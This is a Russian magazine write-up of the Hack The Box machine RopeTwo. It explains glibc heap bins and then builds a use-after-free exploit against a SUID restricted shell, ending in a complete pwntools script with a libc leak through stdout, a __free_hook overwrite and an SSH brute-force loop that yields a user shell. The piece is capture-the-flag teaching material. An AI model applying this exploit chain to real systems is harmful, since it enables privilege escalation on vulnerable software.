Хакер - Куча приключений. Изучаем методы heap exploitation на виртуалке c Hack The Box

Хакер - Куча приключений. Изучаем методы heap exploitation на виртуалке c Hack The Box

hacker_frei

https://t.me/hacker_frei

artex

Содержание статьи

  • Разведка
  • Настраиваем окружение
  • Куча, бины и чанки
  • Пишем эксплоит

В этой статье я рас­ска­жу об алго­рит­мах управле­ния памятью в Linux, тех­никах heap exploitation и методах экс­плу­ата­ции уяз­вимос­ти Use-After-Free со все­ми вклю­чен­ными механиз­мами защиты. А поможет мне в этом RopeTwo — одна из самых слож­ных машин с Hack The Box.

В статье «Раз­бира­ем V8» я опи­сывал спо­соб экс­плу­ата­ции намерен­ной уяз­вимос­ти в движ­ке V8. Она поз­волила получить шелл, но, что­бы прод­винуть­ся даль­ше и получить флаг юзе­ра, тре­бует­ся решить новую слож­ную задачу — про­экс­плу­ати­ровать уяз­вимос­ти работы с памятью.

РАЗВЕДКА

Пер­вым делом под­клю­чаем­ся к тач­ке по SSH и запус­каем скрипт поис­ка уяз­вимос­тей для эска­лации при­виле­гий. Лич­но я пред­почитаю исполь­зовать LinPEAS.

artex@kali:/home/artex/HTB/RopeTwo# ssh -i key chromeuser@10.10.10.196

artex@kali:/home/artex/HTB/RopeTwo# scp -i ssh/key linpeas.sh chromeuser@10.10.10.196:/tmp

chromeuser@rope2:/tmp$ chmod +x linpeas.sh

chromeuser@rope2:/tmp$ ./linpeas.sh > linpeas.txt

artex@kali:/home/artex/HTB/RopeTwo# scp -i ssh/key chromeuser@10.10.10.196:/tmp/linpeas.txt linpeas.txt

Смот­рим вни­матель­но отчет, ана­лизи­руя каж­дую строч­ку. В раз­деле «Interesting Files — SUID» видим инте­рес­ный файл — rshell.

Фай­лы с вклю­чен­ным битом SUID

Пос­мотрим вни­матель­нее, что это.

За­пус­каем rshell

По­хоже на restricted shell с вклю­чен­ным битом SUID, это явно наш паци­ент! Ска­чива­ем и нат­равли­ваем на него «Гид­ру». Не буду при­водить здесь весь лис­тинг дизас­сем­бли­рован­ного кода, я вмес­то это­го сде­лал уп­рощен­ную диаг­рамму с основной логикой фун­кций rshell.

Ди­аграмма основных дизас­сем­бли­рован­ных фун­кций

Как ока­залось, это вов­се не restricted shell, а лишь его эму­ляция. Нам дос­тупно все­го нес­коль­ко команд: add, edit, rm, ls, echo, id и whoami. Самые инте­рес­ные из них — пер­вые четыре (поз­же выяс­нится, что три). Они поз­воля­ют соз­давать, изме­нять, уда­лять и отоб­ражать объ­екты («фай­лы») и выделять соот­ветс­тву­ющие им учас­тки в памяти с опре­делен­ным раз­мером (не более 112 байт) и кон­тентом. При­чем коман­да ls выводит толь­ко име­на фай­лов, без содер­жания. Что ж, все ука­зыва­ет на то, что впе­реди нас ждет heap exploitation.

В интерне­те мно­го информа­ции на эту тему, начать свое пог­ружение в нее мож­но, нап­ример, с сай­та Дха­вала Капила. Пер­вое, что нам нуж­но, — най­ти уяз­вимос­ти в коде, которые мож­но про­экс­плу­ати­ровать.

На пер­вый взгляд, никаких явных уяз­вимос­тей в коде нет. Вез­де исполь­зуют­ся либо безопас­ные фун­кции, либо про­вер­ки раз­мернос­ти, а ввод тер­миниру­ется нулем. Я пот­ратил мно­го вре­мени, преж­де чем нашел уяз­вимость под наз­вани­ем use after free (UAF).

Под­робнее о том, что такое UAF, мож­но почитать, нап­ример, в бло­ге Orange Cyberdefense.

НАСТРАИВАЕМ ОКРУЖЕНИЕ

Наш экс­пло­ит мы будем писать с помощью pwntools — незаме­нимой питонов­ской биб­лиоте­ки для соз­дания экс­пло­итов. Но пер­вым делом нам нуж­но нас­тро­ить окру­жение. Для это­го, помимо самого rshell, необ­ходимо ска­чать с машины RopeTwo биб­лиоте­ки glibc (стан­дар­тная биб­лиоте­ка C, реали­зующая сис­темные вызовы и основные фун­кции, такие как malloc, open, printf) и ld (биб­лиоте­ка динами­чес­кой лин­ковки). Это необ­ходимо для пол­ной сов­мести­мос­ти вер­сий. Во‑пер­вых, новые релизы glibc час­то содер­жат изме­нения, устра­няющие те или иные уяз­вимос­ти, а во‑вто­рых, нам важ­но, что­бы сме­щения всех фун­кций сов­падали. Ниже при­веде­на таб­лица вер­сий glibc и воз­можнос­ти исполь­зования раз­личных вари­антов heap exploitation.

По­пуляр­ные тех­ники heap exploitation

Ви­дим, что в нашем слу­чае мы будем исполь­зовать вер­сию libc 2.29.

Вер­сия libc на сер­вере

Так­же в интерне­те необ­ходимо най­ти и ска­чать вер­сию libc 2.29 с отла­доч­ными сим­волами, без них писать экс­пло­ит край­не зат­рудни­тель­но. Думаю, с этим квес­том ты спра­вишь­ся.

Те­перь надо про­пат­чить наш rshell коман­дой patchelf --set-interpreter ./ld-2.29.so rshell, что­бы он стал исполь­зовать лин­кер нуж­ной вер­сии.

Те­перь, если ты хочешь запус­тить rshell c нуж­ной вер­сией libc, исполь­зуй коман­ду

LD_PRELOAD='libc-2.29.so' rshell

Вы­вод checksec

Вы­вод checksec зас­тавля­ет сод­рогнуть­ся — вклю­чены все защит­ные механиз­мы! Но мы при­нима­ем вызов!

Full RELRO. Гло­баль­ная таб­лица сме­щений (GOT) дос­тупна толь­ко для чте­ния. Это озна­чает, что мы не можем переза­писать в ней ука­затель фун­кции, что­бы изме­нить ход выпол­нения прог­раммы.

Canary found. В сте­ке раз­меща­ется «канарей­ка» (опре­делен­ное зна­чение, переза­пись которо­го озна­чает, что стек был изме­нен), поэто­му перепол­нение сте­ка нам не све­тит, если толь­ко мы не смо­жем каким‑либо обра­зом заполу­чить кон­троль над «канарей­кой».

NX enabled. Озна­чает отсутс­твие областей в памяти, поз­воля­ющих одновре­мен­ную запись и исполне­ние (RWX). Поэто­му мы не можем раз­местить в адресном прос­транс­тве шелл‑код и запус­тить его.

PIE enabled. PIE — это аббре­виату­ра от Position Independent Executable. Озна­чает, что базовый адрес исполня­емо­го фай­ла меня­ется при каж­дом запус­ке, поэто­му без утеч­ки исполь­зовать ROP и ret2libc не получит­ся.

Для начала напишем вспо­мога­тель­ные фун­кции, эму­лиру­ющие поль­зователь­ский ввод.

def add(name, size, content="A"):

io.sendlineafter('$ ', 'add '+str(name))

io.sendlineafter('size: ', str(int(size)))

io.recvuntil("content: ")

io.sendline(content)

def edit(name, size, content="A"):

io.sendlineafter('$ ', 'edit '+str(name))

io.sendlineafter('size: ', str(int(size)))

if int(size) != 0:

io.recvuntil("content: ")

io.send(content)

def rm(name):

io.sendlineafter('$ ', 'rm '+str(name))

Тут сра­зу важ­но отме­тить, что в фун­кции add мы не можем исполь­зовать io.send(content), как в фун­кции edit, пос­коль­ку для записи кон­тента add исполь­зует fgets, а edit — read. Поэто­му вос­поль­зуем­ся методом io.sendline(content), который добав­ляет в кон­це перенос стро­ки и голов­ной боли нам (об этом даль­ше).

КУЧА, БИНЫ И ЧАНКИ

Бин — это кор­зина, в которую попада­ют осво­бож­денные учас­тки памяти (чан­ки). Пред­став­ляет собой спи­сок осво­бож­денных чан­ков, который быва­ет односвяз­ный и двус­вязный. Основное его наз­начение — быс­трое выделе­ние учас­тка памяти (по ста­тис­тике, в прог­раммах час­то выделя­ются и осво­бож­дают­ся учас­тки памяти оди­нако­вых раз­меров). Вид связ­ности спис­ка зависит от того, в какой бин попал осво­бож­даемый чанк, что, в свою оче­редь, зависит от его раз­мера. Раз­мер чан­ка уве­личи­вает­ся крат­но 16 бай­там (0x20 → 0x30 → 0x40...). Это зна­чит, что млад­шие 4 бита поля раз­мера чан­ка не исполь­зуют­ся. Вмес­то это­го они содер­жат фла­ги сос­тояния чан­ка:

  • PREV_INUSE — уста­нов­ленный, озна­чает, что пре­дыду­щий чанк исполь­зует­ся, и наобо­рот;
  • IS_MMAPPED — озна­чает, что этот чанк был выделен mmap();
  • NON_MAIN_ARENA — озна­чает, что чанк не при­над­лежит main arena.

Аре­на — это струк­тура фун­кции malloc, содер­жащая бины для осво­бож­денных из кучи чан­ков.

Мак­сималь­ное количес­тво арен для про­цес­са огра­ниче­но количес­твом ядер про­цес­сора, которое дос­тупно это­му про­цес­су.

На дан­ный момент сущес­тву­ет пять типов бинов (циф­ры при­веде­ны для 64-бит­ных при­ложе­ний):

  1. Tcache bin (появил­ся в glibc 2.26) для любых чан­ков, которые мень­ше или рав­ны 0x410 байт. Все­го 64 односвяз­ных спис­ка на каж­дую аре­ну. Каж­дый Tcache bin хра­нит чан­ки оди­нако­вого раз­мера. Каж­дый Tcache bin может хра­нить мак­симум семь осво­бож­денных чан­ков.
  2. Fast bin для любых чан­ков, которые мень­ше или рав­ны 0x0b байт. Все­го десять односвяз­ных спис­ков на каж­дую аре­ну c раз­мером от 0x20 до 0xb0.
  3. Unsorted bin. Двус­вязный спи­сок, который может содер­жать чан­ки любого раз­мера. Каж­дая аре­на содер­жит толь­ко один такой спи­сок. При выделе­нии области памяти перед Unsorted bin сво­бод­ные чан­ки ищут­ся сна­чала в бинах tcache, fastbin и smallbin. Large bin опра­шива­ется пос­ледним.
  4. Small bin — кол­лекция из 62 двус­вязных спис­ков на каж­дую аре­ну раз­мером от 0x20 до 0x3f0 (перек­рыва­ются по раз­мерам с fastbins).
  5. Large bin — кол­лекция из 63 двус­вязных спис­ков на каж­дую аре­ну, из них каж­дый содер­жит чан­ки, раз­мер которых лежит в опре­делен­ном диапа­зоне (нап­ример, 0x400 largebin содер­жит осво­бож­денные чан­ки раз­меров 0x400–0x430).

Для наг­ляднос­ти выпол­ним прос­той код, который соз­дает и очи­щает два чан­ка по 0x30 байт каж­дый:

add(0, 0x28)

add(1, 0x28)

rm(0)

rm(1)

Пос­мотрим, как это выг­лядит в GDB. Мы видим, что оба чан­ка попали в tcachebin 0x30. Струк­тура tcachebin пред­став­лена на скрин­шоте.

Tcachebin в отладчи­ке

Од­носвяз­ный спи­сок мож­но пред­ста­вить так.

Од­носвяз­ный спи­сок бина

А двус­вязный — так (для small bins Size будет оди­нако­вый, а для large bin еще добавят­ся ука­зате­ли fd_nextsize и bk_nextsize).

Двус­вязный спи­сок бина

fd ука­зыва­ет на сле­дующий чанк в спис­ке, а bk — на пре­дыду­щий.

ПИШЕМ ЭКСПЛОИТ

С теорией покон­чено, теперь поп­робу­ем написать при­митив про­изволь­ной записи, исполь­зуя UAF. Мы не можем исполь­зовать тех­нику Tcache Dup (Double Free), так как в glibc 2.29 появи­лась защита от нее.

Но вмес­то двой­ного вызова free() мы можем исполь­зовать realloc c раз­мером 0. Ниже при­веден код при­мера:

--skip--

def debug(breakpoints):

script_noaslr= '''

set verbose on

break *0x555555555656

commands

silent

tcachebins

continue

end

continue

'''

gdb.attach(io,gdbscript=script_noaslr)

TARGET=p64(0x55555555a3f0)

VALUE=p64(0xdeadbeef)

add('A', 0x28)

edit('A', 0) # Помеща­ем чанк в tcachebins 0x30

io.sendlineafter('$ ', 'ls') # Выводим tcachebins

edit('A', 0x28, TARGET) # Пишем адрес наз­начения в «пус­той» чанк, заменяя ука­затель fd

io.sendlineafter('$ ', 'ls') # В tcachebins теперь два чан­ка, один из которых ука­зыва­ет на TARGET

add('B', 0x28) # «Дос­таем» из кор­зины пос­ледний чанк из цепоч­ки

edit('B', 0x38) # Уве­личи­ваем раз­мер чан­ка B и очи­щаем его

rm('B')

edit('A',0x48) # Уве­личи­ваем раз­мер чан­ка A и очи­щаем его

rm('A')

io.sendlineafter('$ ', 'ls') # У нас три tcachebins, 0x30 ука­зыва­ет на TARGET

add('A', 0x28, VALUE) # Выделя­ем чанк раз­мером 0x30, тем самым пишем VALUE в TARGET

--skip--

Встав­ляем этот фраг­мент в наш скрипт и запус­каем коман­дой ./uaf.py NOASLR GDB.

Пер­вый параметр отклю­чает ASLR (Address Space Layout Randomization), а вто­рой запус­кает GDB.

В клю­чевых мес­тах я повесил вывод tcachebins в pwndbg на адрес фун­кции ls — 0x555555555656 (при каж­дом вызове ls мы будем видеть информа­цию о tcachebins в отладчи­ке).

Вы­вод tcachebins в отладчи­ке

Ви­дим, что зна­чение по адре­су 0x55555555a3f0 переза­писа­но!

Зна­чение в памяти переза­писа­но

Те­перь, ког­да у нас есть при­митив про­изволь­ной записи, нуж­но при­думать, как его исполь­зовать (забегая впе­ред, ска­жу, что в финаль­ном экс­пло­ите этот при­митив будет модифи­циро­ван, так как мы огра­ниче­ны толь­ко дву­мя фай­лами). План обыч­но сле­дующий: добива­емся утеч­ки адре­са биб­лиоте­ки libc, вычис­ляем ее базовый адрес по сме­щению, а затем под­меня­ем вызов какого‑либо хука one_gadget или сис­темным вызовом, если one_gadget не работа­ет (не соб­люда­ются усло­вия его вызова).

На этом эта­пе дос­таточ­но прос­то написать экс­пло­ит, под­смот­рев адрес libc в /proc/_pid_/maps. Можешь поп­робовать, это будет хорошей прак­тикой! Но такой фокус не прой­дет на вир­туал­ке, так как при запус­ке бинар­ника с битом SUID кар­та памяти про­цес­са будет недос­тупна для чте­ния.

По­это­му воз­ника­ет воп­рос: как нам добить­ся утеч­ки адре­са libc, если в бинар­нике вклю­чены все механиз­мы защиты, а в коде нет явных уяз­вимос­тей? При этом мы огра­ниче­ны толь­ко дву­мя чан­ками мак­симум по 70 байт каж­дый! На пер­вый взгляд это кажет­ся невоз­можным, и мне приш­лось про­вес­ти немало часов в интерне­те, преж­де чем ответ нашел­ся.

Раз­гадка кро­ется в соз­дании фик­тивно­го unsorted bin и брут­форсе 4 бит ука­зате­ля на stdout. Но обо всем по поряд­ку.

Пер­вое, что нам нуж­но, — под­менить раз­мер чан­ка, что­бы его раз­мер пре­высил 420 байт и при его очис­тке он попал в unsorted bin. При­чина, по которой нам так важен unsorted bin, в том, что в fd и bk помеща­ются ука­зате­ли на libc (main arena + offset). Таким обра­зом мы получа­ем дос­туп к адресно­му прос­транс­тву libc, обой­дя PIE и ASLR!

Да­лее мы можем заменить пос­ледние два бай­та это­го адре­са, что­бы он стал ука­зывать на stdout. Одна­ко из‑за ASLR сме­щение при каж­дом запус­ке отли­чает­ся, но, к счастью, все­го на 4 бита! Оста­ется глав­ный воп­рос: как зас­тавить stdout вывес­ти нам адрес libc?

Для это­го при­дет­ся углу­бить­ся в ана­лиз исходни­ков, пос­ле чего получа­ется сле­дующая кар­тина.

При вызове puts про­исхо­дит вызов фун­кции _IO_new_file_overflow по сле­дующей цепоч­ке: _IO_puts → _IO_sputn → _IO_new_file_xsputn → _IO_new_file_overflow. В _IO_new_file_overflow нас инте­ресу­ет вызов _IO_do_write, который опре­делен как мак­рос фун­кции _IO_new_do_write. Если фла­ги в это вре­мя сиг­нализи­руют о том, что буфер не пуст, то зна­чение буфера (ука­затель _IO_write_base ука­зыва­ет на начало буфера, а _IO_write_ptr — на его конец) выводит­ся в stdout. Если мы изме­ним фла­ги _IO_2_1_stdout_ нуж­ным обра­зом, мы смо­жем устро­ить утеч­ку адре­са libc!

Зву­чит как план, поп­робу­ем его реали­зовать. Пер­вое, что нам необ­ходимо, — добить­ся попада­ния чан­ка в unsorted bin. Но как это сде­лать, если мы огра­ниче­ны раз­мером 0x70 байт?

Бу­дем соз­давать боль­шой фик­тивный чанк! Сна­чала под­готовим вспо­мога­тель­ные чан­ки:

add(0, 0x68)

edit(0, 0, "") # tcache 0x70

edit(0, 0x18) # tcache 0x50 (0x70-0x20)

rm(0) # tcache 0x20

add(0, 0x48)

edit(0, 0, "") # tcache 0x50

edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверку double free

rm(0)

Бла­года­ря этим манипу­ляци­ям с tcache и у нас появи­лось наложе­ние чан­ков.

На­ложе­ние чан­ков

Те­перь мы можем изме­нить раз­мер нашего фик­тивно­го чан­ка:

add(0, 0x48) # Достаем из бина один tcache 0x50

add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 0x451 в поле size фиктивного чанка

rm(1)

По­меня­ли раз­мер фик­тивно­го чан­ка

От­лично, раз­мер tcache 0x50 изме­нил­ся на 0x450. Теперь нуж­но выделить дос­таточ­ное количес­тво памяти, что­бы мож­но было ее осво­бодить.

# Выделяем 0x400+ байт для unsorted bin

for i in range(9):

add(1, 0x28)

edit(1, 0x70)

rm(1)

# После этого шага у нас создается unsorted bin, fd которого указывает на main_arena + 96

# А поскольку мы сделали наложение чанков, этот fd совпадает с fd tcache 0x50

edit(0, 0, "")

# Частично перезаписываем указатель fd, чтобы попасть в stdout (bruteforce 4 bits)

edit(0, 0x38, p16(0x7750))

В ито­ге у нас получа­ется сле­дующая кар­тина.

За­меня­ем ука­затель fd на stdout

На­чало струк­туры IO_2_1_stdout выг­лядит так.

Струк­тура stdout

Мы поч­ти у цели: дос­таем из tcache 0x50 лиш­ний чанк и записы­ваем нуж­ный нам «пей­лоад» в stdout-0x10 (если повезет, шанс — 1/16). Тут надо под­робнее оста­новить­ся на самом пей­лоаде. Поль­зуясь слу­чаем, перед stdout мы пишем стро­ку 16 байт, которую переда­дим в качес­тве парамет­ра в system ("/bin/sh"). Далее нам необ­ходимо записать зна­чение _flags. Что­бы обма­нуть фун­кцию _IO_new_do_write, нам нуж­ны сле­дующие фла­ги, опре­делен­ные в libio.h:

#define _IO_MAGIC 0xFBAD0000 /* Magic number */

...

#define _IO_CURRENTLY_PUTTING 0x800

#define _IO_IS_APPENDING 0x1000

В поле _flags из _IO_2_1_stdout пишем зна­чение 0xfbad1800, которое зас­тавля­ет _IO_new_do_write думать, что буфер непус­той. Три сле­дующих qword (ука­зате­ли IO_read) дол­жны быть пус­тыми, но мы записы­ваем в _IO_read_base стро­ку "leak:", что­бы потом про­ще было най­ти нуж­ный адрес. Фун­кция rjust вырав­нива­ет стро­ку "leak:" по пра­вому краю, что­бы за ней сра­зу шел адрес _IO_write_base. Пер­вый параметр фун­кции — это ширина гра­ниц вырав­нивания, а вто­рой — сим­вол, которым запол­няют­ся пус­тые мес­та (по умол­чанию — про­бел). Почему ширина гра­ниц вырав­нивания 7, а не 8? Пом­нишь, в начале я говорил, что фун­кция add исполь­зует fgets и добав­ляет перенос стро­ки в кон­це? Имен­но из‑за это­го при­ходит­ся делать поп­равку в 1 байт.

add(1, 0x48) # Достаем из бина лишний tcache 0x50

edit(1, 0x18)

rm(1)

edit(0, 0x18, "C"*0x10)

rm(0)

add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+b"leak:".rjust(7, b"\x00"))

В ито­ге, если мы попали в нуж­ный нам адрес (_IO_2_1_stdout_ – 0x10), кар­тина будет сле­дующая:

0x15555551e750 <_IO_2_1_stderr_+208>: 0x0068732f6e69622f ("/bin/sh") 0x0000000000000000

0x15555551e760 <_IO_2_1_stdout_>: 0x00000000fbad1800 (flags) 0x0000000000000000

0x15555551e770 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0a3a6b61656c0000 ("leak:\n")

0x15555551e780 <_IO_2_1_stdout_+32>: 0x000015555551e700 (_IO_write_base) 0x000015555551e7e3

0x15555551e790 <_IO_2_1_stdout_+48>: 0x000015555551e7e3 0x000015555551e7e3

0x15555551e7a0 <_IO_2_1_stdout_+64>: 0x000015555551e7e4 0x0000000000000000

Так как фун­кция add исполь­зует puts, мы сра­зу получа­ем дол­гождан­ную утеч­ку адре­са libc (_IO_write_base_)!

Де­ло оста­лось за малым — рас­счи­тать нуж­ные сме­щения (дос­таточ­но толь­ко libc_base, осталь­ное pwntools сде­лает за нас!), заменить хук осво­бож­дения памяти __free_hook на system с помощью UAF и выз­вать очис­тку памяти с парамет­ром "/bin/sh" (об этом парамет­ре мы уже позабо­тились).

Пол­ный лис­тинг экс­пло­ита с ком­мента­риями при­веден ниже.

Ос­талось при­думать, как под­клю­чить­ся экс­пло­итом к rshell на сер­вере и авто­мати­зиро­вать про­цесс. Для это­го в pwntools есть замеча­тель­ный инс­тру­мент — SSH tube.

Он поз­воля­ет под­клю­чать­ся по SSH к сер­веру и с помощью Python запус­кать экс­плу­ата­цию нуж­ного нам про­цес­са. Но с RopeTwo есть один нюанс — на сер­вере отсутс­тву­ет Python 2, а pwntools по умол­чанию работа­ет толь­ко с ним. При­дет­ся нем­ного пошама­нить!

На­ходим у себя файл ../dist-packages/pwnlib/tubes/ssh.py, в нем стро­ку, где перечис­лены интер­пре­тато­ры Python, и добав­ляем в нее python3:

script = 'for py in python2.7 python2 python python3; do test -x "$(which $py 2>&1)" && exec $py -c %s check; done; echo 2' % sh_string(script)

Есть и еще одна проб­лема — при неудач­ном брут­форсе rshell пери­оди­чес­ки зависа­ет, поэто­му я решил переза­пус­кать брут­форс по тай­меру с помощью signal.

INFO

Signal — это асин­хрон­ное уве­дом­ление про­цес­са Linux о каком‑либо событии. В дан­ном слу­чае нас инте­ресу­ет SIGALRM — сиг­нал исте­чения задан­ного вре­мени. В Википе­дии об этом есть под­робная статья: Сиг­нал_(Unix).

А вот и финаль­ный код экс­пло­ита:

#!/usr/bin/env python3

from pwn import *

import signal

# Вспомогательная функция для рестарта зависшего шелла

def handler(signum, frame):

log.warning("Game over, rshell freezes")

io.close()

# Базовые настройки

context(os="linux", arch="amd64")

localfile = "./rshell"

locallibc = "./libc-2.29.so"

pf = lambda name,num :log.info(name + ": 0x%x" % num)

elf = ELF(localfile)

libc = ELF(locallibc)

io = process(localfile, env={'LD_PRELOAD': locallibc}, timeout=1)

# Функция отладки

def debug(breakpoints):

script= '''

continue

'''

gdb.attach(io,gdbscript=script)

# Вспомогательные функции

def add(name, size, content="A"):

io.sendlineafter('$ ', 'add '+str(name))

io.sendlineafter('size: ', str(int(size)))

io.recvuntil("content: ")

io.sendline(content)

def edit(name, size, content="A"):

io.sendlineafter('$ ', 'edit '+str(name))

io.sendlineafter('size: ', str(int(size)))

if int(size) != 0:

io.recvuntil("content: ")

io.send(content)

def rm(name):

io.sendlineafter('$ ', 'rm '+str(name))

def exp():

# Запускаем таймер — 25 секунд

signal.alarm(25)

add(0, 0x68) # Создаем вспомогательные tcache

edit(0, 0, "") # tcache 0x70

edit(0, 0x18) # tcache 0x50 (0x70–0x20)

rm(0) # tcache 0x20

add(0, 0x48) # Создаем фиктивный чанк

edit(0, 0, "") # tcache 0x50

edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free

rm(0)

add(0, 0x48) # Достаем из бина один tcache 0x50

add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 0x451 в поле size фиктивного чанка

rm(1)

# Выделяем 0x400+ байт для unsorted bin, обходя проверку prev_inuse в функции free()

for i in range(9):

add(1, 0x28)

edit(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80

rm(1)

# После этого шага у нас создается unsorted bin, fd которого указывает на main_arena + 96

# А поскольку мы сделали наложение чанков, этот fd совпадает с fd tcache 0x50

edit(0, 0, "")

# Частично перезаписываем указатель fd, чтобы попасть в stdout (bruteforce 4 bits)

edit(0, 0x38, p16(0x7750))

# Достаем из бина лишний tcache 0x50

add(1, 0x48)

edit(1, 0x18)

rm(1)

edit(0, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free

rm(0)

# Пишем в stdout утечку адреса _IO_write_base

add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+b"leak:".rjust(7, b"\x00"))

# Если в полученной строке не содержится "leak:", пробуем заново

if len(io.recvuntil("leak:")) == 0:

log.debug("failed")

return

# Адрес найден, вычисляем смещение libc_base (оно разное для разных версий libc)

leak_addr=u64(io.recv(8)[1:7]+b'\x00'*2)

pf("leak_addr", leak_addr)

libc_base = leak_addr - (0x15555551d700-0x155555338000) #REAL

#libc_base = leak_addr - (0x7ffff7fc7700 - 0x7ffff7c15000) #DEBUG

libc.address = libc_base

pf("libc_base", libc_base)

# Опять проворачиваем трюк с наложением (tcache 0x60 вложен в tcache 0x80)

add(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80

edit(1, 0, "")

edit(1, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free

rm(1)

# Пишем указатель на __free_hook в fd tcache 0x60

add(1, 0x70, b"C"*0x18+p64(0x61)+p64(libc.sym["__free_hook"]))

rm(1)

# Достаем из бина лишний tcache 0x60

add(1, 0x58)

edit(1, 0x28)

rm(1)

# Перезаписываем __free_hook на system

add(1, 0x58, p64(libc.symbols["system"]))

# Удаляем файл 0, который указывает на '/bin/sh\x00'. Получаем system("/bin/sh")!

rm(0)

signal.alarm(0) # Сбрасываем таймер

io.interactive() # Переходим в интерактив

if not args.REMOTE and args.GDB:

debug([])

signal.signal(signal.SIGALRM, handler)

# Цикл брутфорса

while True:

try:

print("----------------------------------------------------------")

#io = process(localfile, env={'LD_PRELOAD': locallibc}, timeout=10) # - local

#l = listen(31337) # Для удаленного подключения и отладки

#io = l.wait_for_connection()

s = ssh(host='10.10.10.196', user='chromeuser',keyfile='ssh_key')

io = s.process("/usr/bin/rshell")

exp()

except Exception:

io.close()

Брут­форс обыч­но занима­ет три‑четыре минуты, но тут как повезет... А в кон­це нас ждет дол­гождан­ный шелл поль­зовате­ля r4j! Наконец‑то мы получи­ли этот неверо­ятно слож­ный флаг! Или нет?!

[+] Connecting to 10.10.10.196 on port 22: Done

[+] Starting remote process '/usr/bin/rshell' on 10.10.10.196: pid 14081

[*] leak_addr: 0x7f5ed04e7700

[*] libc_base: 0x7f5ed0302000

[*] Switching to interactive mode

$ $ id

uid=1000(r4j) gid=1001(chromeuser) groups=1001(chromeuser)

$ $ pwd

/home/chromeuser

$ $ cd /home/r4j

$ $ ls -la

total 40

drwx------ 6 r4j r4j 4096 Jun 1 2020 .

drwxr-xr-x 4 root root 4096 Feb 5 2020 ..

lrwxrwxrwx 1 root root 9 Feb 23 2020 .bash_history → /dev/null

-rwx------ 1 r4j r4j 220 Apr 4 2019 .bash_logout

-rwx------ 1 r4j r4j 88 Apr 21 19:56 .bashrc

drwx------ 2 r4j r4j 4096 Feb 23 2020 .cache

drwx------ 2 r4j r4j 4096 May 27 2020 .config

drwx------ 3 r4j r4j 4096 Feb 23 2020 .gnupg

-rwx------ 1 r4j r4j 807 Apr 4 2019 .profile

drwx------ 2 r4j r4j 4096 Dec 21 19:47 .ssh

-rw-r----- 1 root r4j 33 Dec 21 14:08 user.txt

$ $ cat user.txt

cat: user.txt: Permission denied

Оче­ред­ная голово­лом­ка: флаг может про­читать толь­ко root и поль­зователь из груп­пы r4j. А наш gid по‑преж­нему — chromeuser!

Это задач­ку пред­лагаю решить тебе самому, она нес­ложная.

(ʞuıʃɯʎs :ʇuıɥ)

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page